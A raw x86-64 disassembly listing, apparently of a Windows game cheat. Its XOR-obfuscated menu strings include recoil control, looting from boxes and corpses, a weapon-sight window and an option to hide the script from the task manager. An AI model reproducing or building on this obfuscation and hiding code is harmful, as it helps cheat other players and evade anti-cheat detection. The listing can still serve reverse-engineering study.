call fcn.140007910
test al, al
je 0x140062602
lea rcx, [0x14009f558]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x1400628c7
lea rdx, [rbp + 0x560]
mov byte [rsp + 0x64], 0
lea rcx, [rsp + 0x64]
call fcn.1400870d0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140062652
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor cl, 0x39
mov byte [rax + 8], cl
lea rdx, [0x1400b3a9f]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006267e
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b3a9f], 1
jne 0x1400628a7
lea rdx, [rbp + 0x710]
mov byte [0x1400b3a9f], 1
lea rcx, [rsp + 0x65]
mov byte [rsp + 0x65], 0
call fcn.1400870f0
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1400626df
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor byte [rbx + 9], 0x3a
xor al, 0x3b
mov byte [rbx + 0xa], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x388]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef88]
mov rcx, rbx
call fcn.1400423f0
lea rdx, [rbp + 0x810]
mov byte [rsp + 0x66], 0
lea rcx, [rsp + 0x66]
call fcn.140087120
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x140062881
mov r8d, edi
cmp esi, 2
jl 0x140062840
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140062850
movaps xmm2, xmm11
lea rcx, [rbp + 0x390]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef68]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x1400628c7
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400628c7
lea rcx, str.Quick_collection_of_things_from_Bol._box___corpse
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140062d2d
lea rdx, [rbp + 0xd60]
mov byte [rsp + 0x67], 0
lea rcx, [rsp + 0x67]
call fcn.140087140
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140062a93
mov r8d, edi
cmp esi, 2
jl 0x140062a53
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, edi
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140062950
jmp 0x140062a93
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140062a60
lea rdx, [0x1400b3a9f]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b3a9f], 1
jne 0x140062d04
lea rdx, [rbp + 0x18c0]
mov byte [0x1400b3a9f], 1
lea rcx, [rsp + 0x68]
mov byte [rsp + 0x68], 0
call fcn.140087150
mov rbx, rax
cmp byte [rax + 0x17], 0
je 0x140062c73
mov r8d, edi
cmp esi, 2
jl 0x140062c33
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, edi
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, rbx
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140062b30
jmp 0x140062c73
mov r9, rbx
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140062c40
movaps xmm2, xmm11
lea rcx, [rbp + 0x398]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef88]
mov rcx, rbx
call fcn.1400423f0
lea rdx, [rbp + 0x570]
mov byte [rsp + 0x69], 0
lea rcx, [rsp + 0x69]
call fcn.140087170
mov rbx, rax
movzx eax, byte [rax + 8]
test al, al
je 0x140062cde
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor al, 0x39
mov byte [rbx + 8], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x3a0]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400aef68]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140062d2d
cmp byte [0x1400aef77], 1
jne 0x140062d2d
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140062d2d
lea rcx, str.____.__
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140062dcd
lea rdx, [rbp + 0x6c0]
mov byte [rsp + 0x6a], 0
lea rcx, [rsp + 0x6a]
call fcn.140087190
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140062d81
xor byte [rax], 0x31
xor byte [rax + 1], 0x32
xor byte [rax + 2], 0x33
xor byte [rax + 3], 0x34
xor byte [rax + 4], 0x35
xor byte [rax + 5], 0x36
xor byte [rax + 6], 0x37
xor byte [rax + 7], 0x38
xor byte [rax + 8], 0x39
xor cl, 0x3a
mov byte [rax + 9], cl
lea rdx, [0x1400b4b98]
mov rcx, rax
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x140062dad
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x140062dcd
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140062dcd
lea rcx, str.Legit_Recoil
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140062fc9
lea rdx, [rbp + 0x2210]
mov byte [rsp + 0x6b], 0
lea rcx, [rsp + 0x6b]
call fcn.1400871b0
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140062f91
mov r8d, edi
cmp esi, 2
jl 0x140062f59
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140062e50
cmp r8d, 0x22
jge 0x140062f91
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140062f60
lea rdx, [0x1400b4b98]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x140062fc9
cmp byte [0x1400aef77], 1
jne 0x140062fc9
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140062fc9
lea rcx, [0x14009f608]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x14006319d
lea rdx, [rbp + 0x8e0]
mov byte [rsp + 0x6c], 0
lea rcx, [rsp + 0x6c]
call fcn.1400871e0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140063151
mov r8d, edi
cmp esi, 2
jl 0x140063115
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140063120
lea rdx, [0x1400b453c]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006317d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14006319d
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14006319d
lea rcx, str.Window_with_active_weapon_sight
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140063399
lea rdx, [rbp + 0x1d00]
mov byte [rsp + 0x6d], 0
lea rcx, [rsp + 0x6d]
call fcn.140087210
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x140063361
mov r8d, edi
cmp esi, 2
jl 0x140063329
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140063220
cmp r8d, 0x1f
jge 0x140063361
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x140063330
lea rdx, [0x1400b453c]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aeff4], 1
jne 0x140063399
cmp byte [0x1400aef77], 1
jne 0x140063399
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140063399
lea rcx, [0x14009f650]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140063630
lea rdx, [rbp + 0x1560]
mov byte [rsp + 0x6e], 0
lea rcx, [rsp + 0x6e]
call fcn.140087250
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140063561
mov r8d, edi
cmp esi, 2
jl 0x140063529
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140063420
cmp r8d, 0x11
jge 0x140063561
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140063530
lea rdx, [0x1400b3a9b]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae053], 1
jne 0x14006358d
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, edi
mov byte [0x1400aef77], cl
cmp byte [0x1400b3a9b], 1
jne 0x140063610
lea rdx, [rbp + 0x720]
mov byte [0x1400b3a9b], 1
lea rcx, [rsp + 0x6f]
mov byte [rsp + 0x6f], 0
call fcn.140087270
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1400635ea
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor byte [rbx + 9], 0x3a
xor al, 0x3b
mov byte [rbx + 0xa], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x3a8]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4538]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x140063630
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140063630
lea rcx, str.Hide_Show_Script_in_task_manager
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x1400638ae
lea rdx, [rbp + 0x2b00]
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call fcn.1400872a0
mov r10, rax
cmp byte [rax + 0x2e], 0
je 0x1400637f1
mov r8d, edi
cmp esi, 2
jl 0x1400637b9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x1400636b0
cmp r8d, 0x2f
jge 0x1400637f1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x1400637c0
lea rdx, [0x1400b3a9b]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400b3a9b], 1
jne 0x140063883
lea rdx, [rbp + 0x730]
mov byte [0x1400b3a9b], 1
lea rcx, [rsp + 0x71]
mov byte [rsp + 0x71], 0
call fcn.1400872f0
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x14006385d
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x32
xor byte [rbx + 2], 0x33
xor byte [rbx + 3], 0x34
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0x36
xor byte [rbx + 6], 0x37
xor byte [rbx + 7], 0x38
xor byte [rbx + 8], 0x39
xor byte [rbx + 9], 0x3a
xor al, 0x3b
mov byte [rbx + 0xa], al
movaps xmm2, xmm11
lea rcx, [rbp + 0x3b0]
movaps xmm1, xmm13
call fcn.140002fe0
mov r8, rax
lea rdx, [0x1400b4538]
mov rcx, rbx
call fcn.1400423f0
cmp byte [0x1400aeff4], 1
jne 0x1400638c4
cmp byte [0x1400aef77], 1
jne 0x1400638c4
xor ecx, ecx
call fcn.140007910
test al, al
je 0x1400638c4
lea rcx, [0x14009f6c0]
call fcn.1400161e0
jmp 0x1400638c4
mov eax, dword [0x1400b4538]
cmp byte [0x1400b3a9b], 0
cmove eax, edi
mov dword [0x1400b4538], eax
cmp byte [0x1400ae053], 0
je 0x140063a9d
lea rdx, [rbp + 0x820]
mov byte [rsp + 0x72], 0
lea rcx, [rsp + 0x72]
call fcn.140087320
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140063a51
mov r8d, edi
cmp esi, 2
jl 0x140063a10
movdqa xmm2, xmmword [0x1400a2240]
